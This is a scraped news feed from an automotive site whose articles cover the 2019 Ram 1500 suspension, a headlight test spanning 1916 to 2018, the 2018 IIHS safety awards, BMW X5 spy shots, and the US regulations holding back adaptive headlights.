The suspension has been retuned for both improved ride and handling and a focus on payload and towing. The independent front suspension gets composite upper and aluminum lower control arms. The front stabilizer rests behind the tires to improve roll stiffness. Coilover front shocks are standard across all Ram 1500s. Out back, the truck uses the third iteration of Ram’s five-link coil suspension, giving the truck a payload capacity of 2,300 pounds and towing up to 12,750.

New shocks use frequency response dampening, meaning bypass valves are closed when inputs are slow. This increases the dampening during cornering or braking. When the inputs are more frequent and severe (think wheels bouncing on rough roads) the dampening is softened. Certain models can be equipped with air suspension at all four corners. This has a number of benefits including a smooth ride and self-leveling capabilities.

An Off-Road Package is available on most trims, giving the Ram 1500 a 1-inch lift. It’s available with or without the air suspension. Other features include beefer tires, hill-descent control, a revised rear suspension geometry and improved skid plates. The Rebel trim carries over from the current model. It gets 18-inch wheels with 33-inch tires, coil-spring suspension, Bilstein shocks with remote reservoirs and a one-inch lift. Air suspension is optional. There are a number of visual updates to the model, too.

As with any modern vehicle, the 2019 Ram 1500 is available with a wide variety of active safety equipment. The list includes adaptive cruise control, adaptive front headlights, advance brake assist, blind-spot monitoring, forward collision warning and lane departure warning. All in, Ram says there are 100 standard or optional safety and security features on the truck.

Pricing hasn’t been announced, but don’t expect things to change too much. Currently, the Ram 1500 is the least expensive way to get a new V8-powered vehicle in the U.S. Expect a base price in the high $ 20,000s for the bare-bones Tradesman and on up past $ 60,000 for a decked-out Ram 1500 Limited. Production starts soon, so expect to see the new Ram on dealer lots in the next few months.

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]]> https://briefnews.eu/2019-ram-1500-finally-revealed-all-new-from-headlights-to-hybrid-system/feed/ 0 Model T to Modern Mercedes: Testing the Evolution of Headlights from 1916 to 2018 https://briefnews.eu/model-t-to-modern-mercedes-testing-the-evolution-of-headlights-from-1916-to-2018/ https://briefnews.eu/model-t-to-modern-mercedes-testing-the-evolution-of-headlights-from-1916-to-2018/#respond Fri, 29 Dec 2017 21:14:17 +0000 http://briefnews.eu/model-t-to-modern-mercedes-testing-the-evolution-of-headlights-from-1916-to-2018/ Model T to Modern Mercedes: Testing the Evolution of Headlights from 1916 to 2018

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From the December 2017 issue

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From the moment electric headlights snuffed out kerosene and acetylene lamps in the 1910s, automakers have struggled to illuminate the road without blinding oncoming drivers. The industry’s first unified effort to rein in glare was led by the carmakers themselves before the automobile was federally regulated. In the span of just two model years, 1940 and 1941, every new car in the United States adopted standardized seven-inch round headlights. These sealed-beam assemblies, combining the bulb, lens, and reflector into one unit, eventually expanded to include additional sizes and rectangular shapes, but the original seven-incher was still popping up in vehicles such as the 1990–1997 first-generation Mazda MX-5 Miata well after NHTSA had approved replaceable-bulb and nonstandard-shaped headlights in 1983.

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Today’s lighting regulations primarily dictate performance, allowing manufacturers to choose from a handful of technologies. High-intensity discharge (HID) lamps produce light with an electric arc in a gas-filled bulb rather than the filament used in conventional halogen bulbs. The latest trends favor energy-efficient light-emitting diodes (LED) and lasers. Both allow for precise control and placement of the beam, to the extent that some “smart” headlights can carve out a dark spot around an oncoming car.

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Our test revealed that technology isn’t the only factor in determining headlight performance. NHTSA allows headlights to be located between 22 and 54 inches from the ground yet also calls for a horizontally oriented cutoff to block the beam from angling upward into the eyes of approaching drivers. Mounting the headlights higher, then, is the only way to elevate the beam. That’s exactly why the 1916 Ford Model T Touring we tested did such an admirable job exposing the body of our decoy deer at a distance of 100 feet [see top right] while several of our modern cars threw their light at the deer’s feet. However, the T’s crude reflectors created a narrow spot beam, barely wider than the car itself, and intensity fell off rapidly beyond 100 feet.

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The 2018 Honda Fit’s halogen bulbs are hardly an improvement on a 1997 Miata’s sealed-beam lights. And at just 50 feet out from the car, the bright center of the Mercedes E400’s beam passed below our light meter positioned 24 inches off the ground. The 305-hp Dodge Challenger GT AWD can’t spin its own tires, but it was the Hellcat of headlights in our test. Its HID lamps flooded our testing field with the brightest light in each of the eight measurement locations. It helps that the all-wheel-drive Challenger has an SUV’s stance.

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1916 Ford Model T Touring (incandescent headlights)

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1997 Mazda MX-5 Miata (sealed-beam headlights)

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2018 Honda Fit Sport (halogen headlights)

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2018 Dodge Challenger GT AWD (HID headlights)

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2018 Mercedes-Benz E400 4MATIC Coupe (LED headlights)

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Lux quantifies the intensity of light as perceived by the human eye. City streets are typically illuminated to about 10 lux at night while the lights in a living room are roughly equivalent to 50 lux. An overcast day is usually around 1000 lux.

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Model T to Modern Mercedes: Testing the Evolution of Headlights from 1916 to 2018

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Click to view full-size.

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]]> https://briefnews.eu/model-t-to-modern-mercedes-testing-the-evolution-of-headlights-from-1916-to-2018/feed/ 0 Headlights and Small-Overlap Front Crash Tests Shorten List of 2018 IIHS Top Safety Pick+ Award Winners https://briefnews.eu/headlights-and-small-overlap-front-crash-tests-shorten-list-of-2018-iihs-top-safety-pick-award-winners/ https://briefnews.eu/headlights-and-small-overlap-front-crash-tests-shorten-list-of-2018-iihs-top-safety-pick-award-winners/#respond Thu, 07 Dec 2017 06:07:12 +0000 http://briefnews.eu/headlights-and-small-overlap-front-crash-tests-shorten-list-of-2018-iihs-top-safety-pick-award-winners/ 2018 kia soul passenger front offset crash test

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New standards for headlights and front-end crashes are making it harder for new cars and trucks to receive an insurance-industry-backed group’s highest safety rating. The Insurance Institute for Highway Safety (IIHS) gave just 15 vehicles its highest rating of Top Safety Pick+ for 2018, compared with 38 for 2017 and 48 for 2016.

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For the top rating, many vehicles were tripped up by the addition of a passenger-side small-overlap front crash test that was added to the criteria for the award. The IIHS has been rating vehicles for driver’s-side protection in small-overlap front crashes since 2012 but only recently developed the test for the passenger side. It released the first test results in October. Vehicles had to get an Acceptable or Good (top) rating in the test to be named a Top Safety Pick+. 

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While automakers have been beefing up the structural integrity of the driver’s side of their vehicles, some may have neglected the passenger side, IIHS said. IIHS senior research engineer Becky Mueller told Car and Driver that automakers have been adding cross bracing and stronger metal to improve areas around the vehicle’s door frame and floorpan. “Vehicles that applied the same structures to the driver and passenger sides of vehicles typically performed well for both the driver and passenger small-overlap tests,” Mueller said. “This means that manufacturers already have the know-how to better protect passengers in small overlap.”

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But apparently, not all cars and trucks have been improved across their entire front ends. In a press release, IIHS president Adrian Lund noted that drivers “expect that their passengers, who are often family, will be protected just as well as they are. Manufacturers have been taking this issue seriously since we first shed light on it, and we’re confident that good small-overlap protection will become the norm on the passenger side, just as it has on the driver side.”

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Nearly 50 Named Top Safety Pick

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In addition to the 15 Top Safety Pick+ winners, 47 were named Top Safety Pick. There was no passenger-side small-overlap requirement to get the Top Safety Pick award.

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IIHS said the vast majority of the winners were optionally equipped, because front-end crash-prevention technology and decent-performing headlights—two key factors for the Top Safety Pick honor—are generally not available on base-trim cars and trucks. It noted that some automakers are vowing to make automated emergency braking standard by 2022 and singled out Toyota as being ahead of that curve. Seven of its models have it as standard: the Camry, Corolla, Prius, Prius Prime, and Highlander and the Lexus IS and NX. Nissan has pledged to make it standard on most 2018 models.

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Meanwhile, automakers continue to have some trouble with the IIHS’s headlight tests, which are relatively new. IIHS evaluates headlights on how well they illuminate the road as well as the amount of glare they create for oncoming vehicles. For a vehicle to be named a Top Safety Pick, its headlights need to be deemed Acceptable or Good, and they have to reach the top rating of Good for a vehicle to be labeled Top Safety Pick+.

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Among the 15 models given the highest award of Top Safety Pick+, Hyundai Motor Company led all automakers, with its Hyundai, Kia, and Genesis brands placing six models in the top category. It was followed by Subaru, which had four models, and Mercedes-Benz, with two. Toyota, BMW, and Ford each placed one model on the Top Safety Pick+ list.

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Here’s a complete rundown of the 2018 IIHS award winners:

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2018 IIHS Top Safety Pick winners

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]]> https://briefnews.eu/headlights-and-small-overlap-front-crash-tests-shorten-list-of-2018-iihs-top-safety-pick-award-winners/feed/ 0 Next BMW X5 spied with production-spec headlights and grille https://briefnews.eu/next-bmw-x5-spied-with-production-spec-headlights-and-grille/ https://briefnews.eu/next-bmw-x5-spied-with-production-spec-headlights-and-grille/#respond Mon, 14 Aug 2017 15:42:49 +0000 http://briefnews.eu/next-bmw-x5-spied-with-production-spec-headlights-and-grille/

The next-gen BMW X5 has been in development for a while now. Although the current model has only been on sale since mid-2013, it looks like BMW is preparing an all-new version rather than a mid-cycle refresh. We saw snow-covered prototypes way back in January. Just last month, we saw the next version of the wonderfully over-the-top X5 M. These new spy shots show an X5 with production-spec parts like headlights and the kidney bean grille.

Currently, the X5 sits atop the BMW range. That doesn’t seem like it will last for long, as the new X7 looks ready to take the crown. Through the camouflage we can see that, like most other BMWs, the styling is just an evolution of the current car. It simply looks like a larger version of the recently revealed BMW X3. The grille is significantly larger and more forward than on the current X5. The sharp lines along the door have been smoothed out, but it looks like the small vent behind the front wheels will remain.

The new X5 should pack all the same powertrains as the current BMW 5-Series. That means everything from a turbocharged inline-four up to a 600-plus horsepower twin-turbo V8 for the X5 M. There will likely be a plug-in variant based coming sometime soon. Like the current car, the new X5 will be built in BMW’s factory in South Carolina. Look for a full reveal sometime this auto show season.

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]]> https://briefnews.eu/next-bmw-x5-spied-with-production-spec-headlights-and-grille/feed/ 0 High-Tech Headlights Could Thwart Certain Types of Crashes—If We Could Get Them in the U.S. https://briefnews.eu/high-tech-headlights-could-thwart-certain-types-of-crashes-if-we-could-get-them-in-the-u-s/ https://briefnews.eu/high-tech-headlights-could-thwart-certain-types-of-crashes-if-we-could-get-them-in-the-u-s/#respond Thu, 20 Jul 2017 19:52:34 +0000 http://briefnews.eu/high-tech-headlights-could-thwart-certain-types-of-crashes-if-we-could-get-them-in-the-u-s/ CES Las Vegas 2014

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Imagine it’s the future. You’re driving at night, high-beams blazing. You didn’t have to remember to turn them on—they brightened automatically. As you approach an oncoming vehicle, your high-tech lights—which make thousands of individual points of light and use data from the car’s onboard camera and sensors to focus the beam—make a dark hole in the brightness to protect the other motorist’s night vision. Further down the road, a deer emerges from the woods, and the lights mark it with a thin ray of brightness. Potential catastrophe has been averted, thanks to adaptive-beam lighting.

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In Europe, where such systems are available amid a different regulatory system, that future is now.

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If you’re like most people, you probably don’t think much about your car’s headlights, other than to switch them on and off and occasionally to flash the brights. At least, that’s what  Michael Flannagan, a headlamp expert at the University of Michigan Transportation Research Institute (UMTRI), has found in his extensive study of automotive lighting.

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“Even expert drivers don’t seem to understand the risks associated with darkness,” he said. “Our estimate is that there are slightly over 2000 people killed each year because of darkness—mostly pedestrians. They loom up out of the darkness far too quickly for drivers to react to.”

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headlights-IIHS

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According to Flannagan, part of the problem is that drivers—even skilled ones—tend to underutilize their high-beams. There’s data going back to the 1960s to confirm this.

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“Low-beams are designed to work at 35 to 40 mph, so if you come upon a pedestrian who is drunk, texting, or whatever, and you’re driving 55 mph, you have no warning because there’s not enough lighting,” he said.

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In the grand scheme of things, with more than 3 trillion vehicle miles traveled in the United States every year, low-light crashes may be more deadly to pedestrians than other types of crashes, but their numbers don’t amount to much.

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Nevertheless, headlight-related accidents have become enough of an issue that the Insurance Institute for Highway Safety (IIHS) introduced a rating system for headlights last year. Last month, the organization released a report that rated the headlights on more than half the U.S.-market mid-size SUVs as Marginal or Poor. Only two received the IIHS’s top Good rating.

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“People generally aren’t willing to pay more for better headlights, and there hasn’t been much interest in the tech.”
–– Michael Flannagan, UMTRI

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Even in an era when cameras and sensors work in concert with semi-automated features to apply automated braking, keep the car in its lane, and alert the driver when there’s another vehicle in his blind spot, the headlamp technology available in the United States is less advanced than it could be. Automakers such as Audi and Mercedes-Benz have already developed headlamps that increase the driver’s nighttime visibility and decrease glare aimed at other motorists.

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But current federal regulations—specifically, Federal Motor Vehicle Safety Standard 108 — make adoption of the new technology challenging. Lamps such as Audi’s Matrix Beam, which uses LEDs to break apart light from a single laser into a field of countless smaller beams that can reduce glare in some spots and intensify brightness in others.

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“There’s a philosophical difference between regulations in the U.S. and in Europe, which covers most of the rest of the world,” Flannagan said. “U.S. regulations are based upon self-certification by the manufacturers rather than type approval, as they are in Europe.”

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What that means is that in the United States, companies certify that their products meet federal standards. The standard itself contains pages of esoteric information—what colors can be emitted from which lights, how lighting should be tested, light source, and on and on.

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Vorsprung durch Technik: Innovation by Audi

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“The company is responsible for meeting the standard,” Flannagan said. “If anyone ever points out that the vehicle is not compliant, the company is responsible for proving that it is.”

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Contrast that approach with Europe’s. There, the government certifies an independent entity to evaluate manufacturers’ technologies. Conformity to an American-style empirical testing standard isn’t required, and engineers subjectively evaluate a lighting system’s efficacy. In Europe, the manufacturer brings its vehicle to the testing house, which sends engineers—one in the vehicle to observe brightness and another in an oncoming car to look for “undue glare”—to evaluate the lighting under real-world road conditions. The type of road and other specifics are up to the test house.

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U.S. regulations are much more specific.

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“The federal government isn’t dragging its feet,” Flannagan said. “Everyone’s doing the best they can with the resources given to headlamp tech. Part of it is the buying public. People generally aren’t willing to pay more for better headlights, and there hasn’t been much interest in the tech.”

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Regardless of the regulatory hurdles, automakers and federal policymakers are working together to introduce new lighting technology in the United States. For example, a few years ago, Toyota submitted a request to the National Highway Traffic Safety Administration for rulemaking on its adaptive beam technology. Last summer, after two years of deliberation, the engineering group SAE International recommended a change from reliance on testing adaptive-beam headlamps in the lab toward field testing. Other manufacturers have also been active in pushing for regulatory change.

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“It’s strange—it’s industry asking to be regulated, but they just want the rules to be clear,” Flannagan said, pointing out that under a self-certification system, clear rules mean less likelihood that a system could be challenged as noncompliant later on. “It’s pretty easy to implement this stuff on any car with a front-end camera. All you need is some software.”

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]]> https://briefnews.eu/high-tech-headlights-could-thwart-certain-types-of-crashes-if-we-could-get-them-in-the-u-s/feed/ 0